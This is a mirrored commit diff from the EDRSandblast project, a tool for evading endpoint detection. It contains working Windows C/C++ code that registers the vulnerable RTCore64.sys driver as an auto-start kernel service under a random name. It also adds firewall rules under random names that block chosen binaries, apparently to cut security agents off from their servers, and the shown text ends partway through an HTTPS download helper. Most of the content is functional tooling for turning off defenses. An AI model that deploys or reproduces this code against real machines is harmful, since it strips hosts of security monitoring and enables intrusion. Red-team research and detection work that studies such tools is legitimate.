mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-14 02:58:11 +00:00
D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more
Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
This commit is contained in:
+70
-198
@@ -6,234 +6,57 @@
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <aclapi.h>
|
||||
#include <Shlwapi.h>
|
||||
#include <Tchar.h>
|
||||
#include <time.h>
|
||||
|
||||
#include "DriverOps.h"
|
||||
|
||||
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
|
||||
BOOL status = FALSE;
|
||||
DWORD dwSizeNeeded;
|
||||
PSECURITY_DESCRIPTOR oldSd, newSd;
|
||||
SECURITY_DESCRIPTOR dummySdForXP;
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
|
||||
|
||||
EXPLICIT_ACCESS ForEveryoneACL = {
|
||||
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
|
||||
SET_ACCESS,
|
||||
NO_INHERITANCE,
|
||||
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
|
||||
};
|
||||
|
||||
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
|
||||
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
|
||||
if (oldSd) {
|
||||
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
|
||||
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
|
||||
|
||||
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
|
||||
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
|
||||
LocalFree(newSd);
|
||||
}
|
||||
|
||||
FreeSid(ForEveryoneACL.Trustee.ptstrName);
|
||||
}
|
||||
}
|
||||
LocalFree(oldSd);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
|
||||
SC_HANDLE hSC = NULL, hS = NULL;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, SERVICE_START);
|
||||
if (hS) {
|
||||
_tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName);
|
||||
}
|
||||
|
||||
else {
|
||||
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||
_tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName);
|
||||
|
||||
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
|
||||
|
||||
if (hS) {
|
||||
_tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName);
|
||||
if (ServiceAddEveryoneAccess(hS)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] ServiceAddEveryoneAccess"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("CreateService"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenService"));
|
||||
}
|
||||
}
|
||||
|
||||
if (hS) {
|
||||
if (startIt) {
|
||||
if (StartService(hS, 0, NULL)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service started\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
_tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("StartService"));
|
||||
return GetLastError();
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
|
||||
return GetLastError();
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
|
||||
BOOL status = FALSE;
|
||||
SC_HANDLE hSC, hS;
|
||||
SERVICE_STATUS serviceStatus;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, dwDesiredAccess);
|
||||
if (hS) {
|
||||
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
|
||||
|
||||
// Used as a stop point for recursive calls to ServiceUninstall.
|
||||
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
|
||||
_tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
|
||||
_tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
|
||||
_tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
|
||||
SERVICE_STATUS status;
|
||||
BOOL deleted = FALSE;
|
||||
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
|
||||
if (hS) {
|
||||
if (QueryServiceStatus(hS, &status)) {
|
||||
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
|
||||
CloseServiceHandle(hS);
|
||||
CloseServiceHandle(hSC);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
else {
|
||||
deleted = DeleteService(hS);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
if (!deleted) {
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
return deleted;
|
||||
}
|
||||
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "StringUtils.h"
|
||||
#include "WindowsServiceOps.h"
|
||||
/*
|
||||
|
||||
--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions.
|
||||
--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified.
|
||||
--- Vulnerable driver install / uninstall functions.
|
||||
|
||||
*/
|
||||
|
||||
static TCHAR* randString(TCHAR* str, size_t size) {
|
||||
srand((unsigned int) time(0));
|
||||
|
||||
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
|
||||
if (size) {
|
||||
for (size_t n = 0; n < size; n++) {
|
||||
int key = rand() % (int)(sizeof charset - 1);
|
||||
str[n] = charset[key];
|
||||
}
|
||||
str[size] = '\0';
|
||||
TCHAR* g_driverServiceName;
|
||||
|
||||
TCHAR* GetDriverServiceName(void) {
|
||||
if (!g_driverServiceName || _tcslen(g_driverServiceName) == 0) {
|
||||
g_driverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH);
|
||||
}
|
||||
return str;
|
||||
return g_driverServiceName;
|
||||
}
|
||||
|
||||
|
||||
TCHAR* serviceName;
|
||||
|
||||
TCHAR* GetServiceName(void) {
|
||||
if (!serviceName || _tcslen(serviceName) == 0) {
|
||||
serviceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR));
|
||||
randString(serviceName, SERVICE_NAME_LENGTH);
|
||||
void SetDriverServiceName(_In_z_ TCHAR *newName) {
|
||||
if (g_driverServiceName) {
|
||||
free(g_driverServiceName);
|
||||
}
|
||||
return serviceName;
|
||||
}
|
||||
g_driverServiceName = _tcsdup(newName);
|
||||
|
||||
void SetServiceName(TCHAR *newName, size_t szNewName) {
|
||||
if (serviceName) {
|
||||
free(serviceName);
|
||||
}
|
||||
serviceName = (TCHAR*) calloc(szNewName, sizeof(TCHAR));
|
||||
|
||||
if (!serviceName) {
|
||||
_tprintf(TEXT("[!] Error while attempting to set the service name.\n"));
|
||||
if (!g_driverServiceName) {
|
||||
_putts_or_not(TEXT("[!] Error while attempting to set the service name."));
|
||||
return;
|
||||
}
|
||||
|
||||
_tcscpy_s(serviceName, szNewName, newName);
|
||||
}
|
||||
|
||||
BOOL InstallVulnerableDriver(TCHAR* driverPath) {
|
||||
TCHAR* svcName = GetServiceName();
|
||||
TCHAR* svcName = GetDriverServiceName();
|
||||
|
||||
DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
|
||||
|
||||
if (status == 0x00000005) {
|
||||
_tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n"));
|
||||
_putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?"));
|
||||
}
|
||||
|
||||
return status == 0x0;
|
||||
}
|
||||
|
||||
BOOL UninstallVulnerableDriver(void) {
|
||||
TCHAR* svcName = GetServiceName();
|
||||
TCHAR* svcName = GetDriverServiceName();
|
||||
|
||||
BOOL status = ServiceUninstall(svcName, 0);
|
||||
|
||||
@@ -242,4 +65,53 @@ BOOL UninstallVulnerableDriver(void) {
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) {
|
||||
SC_HANDLE hSCM = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT);
|
||||
BOOL isRunning = FALSE;
|
||||
if (hSCM) {
|
||||
DWORD cbBufSize, cbBytesNeeded;
|
||||
DWORD nbServices;
|
||||
BOOL bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, NULL, 0, &cbBytesNeeded, &nbServices, NULL, NULL);
|
||||
if (!bRes && GetLastError() == ERROR_MORE_DATA) {
|
||||
ENUM_SERVICE_STATUS_PROCESS* services = calloc(1, cbBytesNeeded);
|
||||
if (services){
|
||||
cbBufSize = cbBytesNeeded;
|
||||
bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, (LPBYTE)services, cbBufSize, &cbBytesNeeded, &nbServices, NULL, NULL);
|
||||
if (bRes) {
|
||||
for (DWORD i = 0; i < nbServices; i++) {
|
||||
SC_HANDLE hS = OpenService(hSCM, services[i].lpServiceName, SERVICE_QUERY_CONFIG);
|
||||
if (hS && _tcscmp(services[i].lpServiceName, GetDriverServiceName())) {
|
||||
bRes = QueryServiceConfig(hS, NULL, 0, &cbBytesNeeded);
|
||||
if (!bRes && GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
|
||||
QUERY_SERVICE_CONFIG* serviceConfig = calloc(1, cbBytesNeeded);
|
||||
if (serviceConfig) {
|
||||
cbBufSize = cbBytesNeeded;
|
||||
bRes = QueryServiceConfig(hS, serviceConfig, cbBufSize, &cbBytesNeeded);
|
||||
if (bRes) {
|
||||
if (!_tcscmp(PathFindFileName(serviceConfig->lpBinaryPathName), PathFindFileName(driverPath))) {
|
||||
isRunning = TRUE;
|
||||
if (serviceName) {
|
||||
*serviceName = _tcsdup(services[i].lpServiceName);
|
||||
}
|
||||
}
|
||||
}
|
||||
free(serviceConfig);
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
}
|
||||
}
|
||||
free(services);
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hSCM);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
|
||||
return FALSE;
|
||||
}
|
||||
return isRunning;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
#include <Windows.h>
|
||||
|
||||
/*
|
||||
* Dumps the full content of a single file into a newly allocated buffer
|
||||
*/
|
||||
PBYTE ReadFullFileW(LPCWSTR fileName) {
|
||||
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
return NULL;
|
||||
}
|
||||
DWORD fileSize = GetFileSize(hFile, NULL);
|
||||
PBYTE fileContent = malloc(fileSize);
|
||||
DWORD bytesRead = 0;
|
||||
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
|
||||
free(fileContent);
|
||||
fileContent = NULL;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return fileContent;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Checks is a file extists (and is not a directory)
|
||||
*/
|
||||
BOOL FileExistsW(LPCWSTR szPath)
|
||||
{
|
||||
DWORD dwAttrib = GetFileAttributesW(szPath);
|
||||
|
||||
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
|
||||
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
BOOL FileExistsA(LPCSTR szPath)
|
||||
{
|
||||
DWORD dwAttrib = GetFileAttributesA(szPath);
|
||||
|
||||
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
|
||||
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
|
||||
/*
|
||||
* Dumps the content of a buffer into a new file
|
||||
*/
|
||||
BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize) {
|
||||
HANDLE hFile = CreateFileW(fileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
return FALSE;
|
||||
}
|
||||
BOOL res = WriteFile(hFile, fileContent, (DWORD)fileSize, NULL, NULL);
|
||||
CloseHandle(hFile);
|
||||
return res;
|
||||
}
|
||||
@@ -6,6 +6,8 @@
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
#include "FileVersion.h"
|
||||
|
||||
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
@@ -19,7 +21,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
LPTSTR verData = (LPTSTR)calloc(verSize, 1);
|
||||
|
||||
if (!verData) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n"));
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory to retrieve version data"));
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -31,7 +33,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff;
|
||||
DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff;
|
||||
_stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion);
|
||||
// _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
|
||||
// _tprintf_or_not(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -39,34 +41,3 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
free(verData);
|
||||
}
|
||||
}
|
||||
|
||||
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
TCHAR ntoskrnlPath[MAX_PATH] = { 0 };
|
||||
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory);
|
||||
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
|
||||
_stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
|
||||
}
|
||||
|
||||
void GetWdigestVersion(TCHAR* wdigestVersion) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
TCHAR wdigestPath[MAX_PATH] = { 0 };
|
||||
_tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory);
|
||||
_tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll"));
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
|
||||
|
||||
_stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
|
||||
}
|
||||
@@ -0,0 +1,222 @@
|
||||
extern "C" {
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FirewallOps.h"
|
||||
}
|
||||
|
||||
HRESULT ComInitNetFwPolicy2(INetFwPolicy2** ppNetFwPolicy2) {
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
hrStatus = CoInitializeEx(0, COINIT_APARTMENTTHREADED);
|
||||
|
||||
// Ignore RPC_E_CHANGED_MODE (Microsoft documentation stating that the existing mode does not matter).
|
||||
if (hrStatus != RPC_E_CHANGED_MODE && FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while initializing COM (CoInitializeEx failed: 0x%08lx)\n"), hrStatus);
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
hrStatus = CoCreateInstance(__uuidof(NetFwPolicy2), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwPolicy2), (void**)ppNetFwPolicy2);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while initializing the INetFwPolicy2 interface (CoCreateInstance for INetFwPolicy2 failed: 0x%08lx)\n"), hrStatus);
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
extern "C" HRESULT IsFirewallEnabled(BOOL* firewallIsOn);
|
||||
HRESULT IsFirewallEnabled(BOOL* firewallIsOn) {
|
||||
HRESULT hrComInit = E_FAIL;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
INetFwPolicy2* pNetFwPolicy2 = NULL;
|
||||
long CurrentProfilesBitMask = 0;
|
||||
VARIANT_BOOL vbFirewallsEnabled = VARIANT_TRUE;
|
||||
VARIANT_BOOL vbFirewallProfileEnabled = VARIANT_FALSE;
|
||||
|
||||
struct ProfileMapElement {
|
||||
NET_FW_PROFILE_TYPE2 Id;
|
||||
LPCWSTR Name;
|
||||
};
|
||||
|
||||
ProfileMapElement ProfileMap[3];
|
||||
ProfileMap[0].Id = NET_FW_PROFILE2_DOMAIN;
|
||||
ProfileMap[0].Name = L"Domain";
|
||||
ProfileMap[1].Id = NET_FW_PROFILE2_PRIVATE;
|
||||
ProfileMap[1].Name = L"Private";
|
||||
ProfileMap[2].Id = NET_FW_PROFILE2_PUBLIC;
|
||||
ProfileMap[2].Name = L"Public";
|
||||
|
||||
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
|
||||
if (FAILED(hrComInit)) {
|
||||
hrStatus = E_FAIL;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
hrStatus = pNetFwPolicy2->get_CurrentProfileTypes(&CurrentProfilesBitMask);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Could not determine Firewall status (failed to get the active Firewall profiles - get_CurrentProfileTypes failed: 0x%08lx)\n"), hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
for (DWORD i = 0; i < 3; i++) {
|
||||
if (CurrentProfilesBitMask & ProfileMap[i].Id) {
|
||||
hrStatus = pNetFwPolicy2->get_FirewallEnabled(ProfileMap[i].Id, &vbFirewallProfileEnabled);
|
||||
if (FAILED(hrStatus)) {
|
||||
wprintf_or_not(L"[!] Could not determine Firewall status (failed to retrieve FirewallEnabled settings for %s profile - get_FirewallEnabled failed: 0x%08lx)\n", ProfileMap[i].Name, hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
if (vbFirewallProfileEnabled == VARIANT_FALSE) {
|
||||
wprintf_or_not(L"[*] The Windows Firewall is off on the (active) '%s' profile.\n", ProfileMap[i].Name);
|
||||
vbFirewallsEnabled = VARIANT_FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
*firewallIsOn = (BOOL)(vbFirewallsEnabled == VARIANT_TRUE);
|
||||
|
||||
cleanup:
|
||||
if (pNetFwPolicy2) {
|
||||
pNetFwPolicy2->Release();
|
||||
pNetFwPolicy2 = NULL;
|
||||
}
|
||||
|
||||
if (SUCCEEDED(hrComInit)) {
|
||||
CoUninitialize();
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
extern "C" HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName);
|
||||
HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName) {
|
||||
HRESULT hrComInit = E_FAIL;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
INetFwPolicy2* pNetFwPolicy2 = NULL;
|
||||
INetFwRules* pFwRules = NULL;
|
||||
INetFwRule* pFwRule = NULL;
|
||||
|
||||
BSTR bstrRuleName = NULL;
|
||||
BSTR bstrRuleDescription = NULL;
|
||||
BSTR bstrRuleApplication = NULL;
|
||||
|
||||
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
|
||||
if (FAILED(hrComInit)) {
|
||||
hrStatus = E_FAIL;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Rules parameters.
|
||||
generateRandomString(ruleName, FW_RULE_NAME_MAX_LENGTH);
|
||||
bstrRuleName = SysAllocString(ruleName);
|
||||
bstrRuleDescription = SysAllocString(ruleName);
|
||||
bstrRuleApplication = SysAllocString(binaryPath);
|
||||
|
||||
// hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
|
||||
hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules failed: 0x%08lx).\n"), hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Create a new Firewall Rule object.
|
||||
hrStatus = CoCreateInstance(__uuidof(NetFwRule), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwRule), (void**)&pFwRule);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while attempting to initiate the INetFwRule (CoCreateInstance failed: 0x%08lx).\n"), hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Populates the rule's parameters.
|
||||
pFwRule->put_Name(bstrRuleName);
|
||||
pFwRule->put_Description(bstrRuleDescription);
|
||||
pFwRule->put_ApplicationName(bstrRuleApplication);
|
||||
pFwRule->put_Protocol(NET_FW_IP_PROTOCOL_ANY);
|
||||
pFwRule->put_Direction(direction);
|
||||
pFwRule->put_Profiles(FW_PROFILE_TYPE_ALL);
|
||||
pFwRule->put_Action(NET_FW_ACTION_BLOCK);
|
||||
pFwRule->put_Enabled(VARIANT_TRUE);
|
||||
|
||||
// Add the new rule.
|
||||
hrStatus = pFwRules->Add(pFwRule);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while adding the firewall blocking rule for %s (INetFwRule->Add failed: 0x%08lx)\n"), binaryPath, hrStatus);
|
||||
}
|
||||
|
||||
cleanup:
|
||||
|
||||
if (pFwRule) {
|
||||
pFwRule->Release();
|
||||
}
|
||||
|
||||
if (pFwRules) {
|
||||
pFwRules->Release();
|
||||
}
|
||||
|
||||
if (pNetFwPolicy2) {
|
||||
pNetFwPolicy2->Release();
|
||||
}
|
||||
|
||||
if (bstrRuleName) {
|
||||
SysFreeString(bstrRuleName);
|
||||
bstrRuleName = NULL;
|
||||
}
|
||||
|
||||
if (bstrRuleDescription) {
|
||||
SysFreeString(bstrRuleDescription);
|
||||
bstrRuleDescription = NULL;
|
||||
|
||||
}
|
||||
|
||||
if (bstrRuleApplication) {
|
||||
SysFreeString(bstrRuleApplication);
|
||||
bstrRuleApplication = NULL;
|
||||
}
|
||||
|
||||
if (SUCCEEDED(hrComInit)) {
|
||||
CoUninitialize();
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
extern "C" HRESULT DeleteFirewallRule(TCHAR* ruleName);
|
||||
HRESULT DeleteFirewallRule(TCHAR* ruleName) {
|
||||
HRESULT hrComInit = E_FAIL;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
INetFwPolicy2* pNetFwPolicy2 = NULL;
|
||||
INetFwRules* pFwRules = NULL;
|
||||
|
||||
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
|
||||
if (FAILED(hrComInit)) {
|
||||
hrStatus = E_FAIL;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules: 0x%08lx).\n"), hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
hrStatus = pFwRules->Remove(ruleName);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while removing Firewall rule \"%s\" (failed with: 0x%08lx)\n"), ruleName, hrStatus);
|
||||
_tprintf_or_not(TEXT("[!] The rule can be removed manually using: netsh advfirewall firewall delete rule name=%s\n"), ruleName);
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] Successfully removed Firewall rule \"%s\"\n"), ruleName);
|
||||
}
|
||||
|
||||
cleanup:
|
||||
|
||||
if (pFwRules) {
|
||||
pFwRules->Release();
|
||||
}
|
||||
|
||||
if (SUCCEEDED(hrComInit)) {
|
||||
pNetFwPolicy2->Release();
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <windows.h>
|
||||
#include <windef.h>
|
||||
#include <winhttp.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "HttpClient.h"
|
||||
|
||||
|
||||
BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size) {
|
||||
wprintf_or_not(L"Downloading https://%s%s...\n", domain, uri);
|
||||
// Get proxy configuration
|
||||
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG proxyConfig;
|
||||
WinHttpGetIEProxyConfigForCurrentUser(&proxyConfig);
|
||||
BOOL proxySet = !(proxyConfig.fAutoDetect || proxyConfig.lpszAutoConfigUrl != NULL);
|
||||
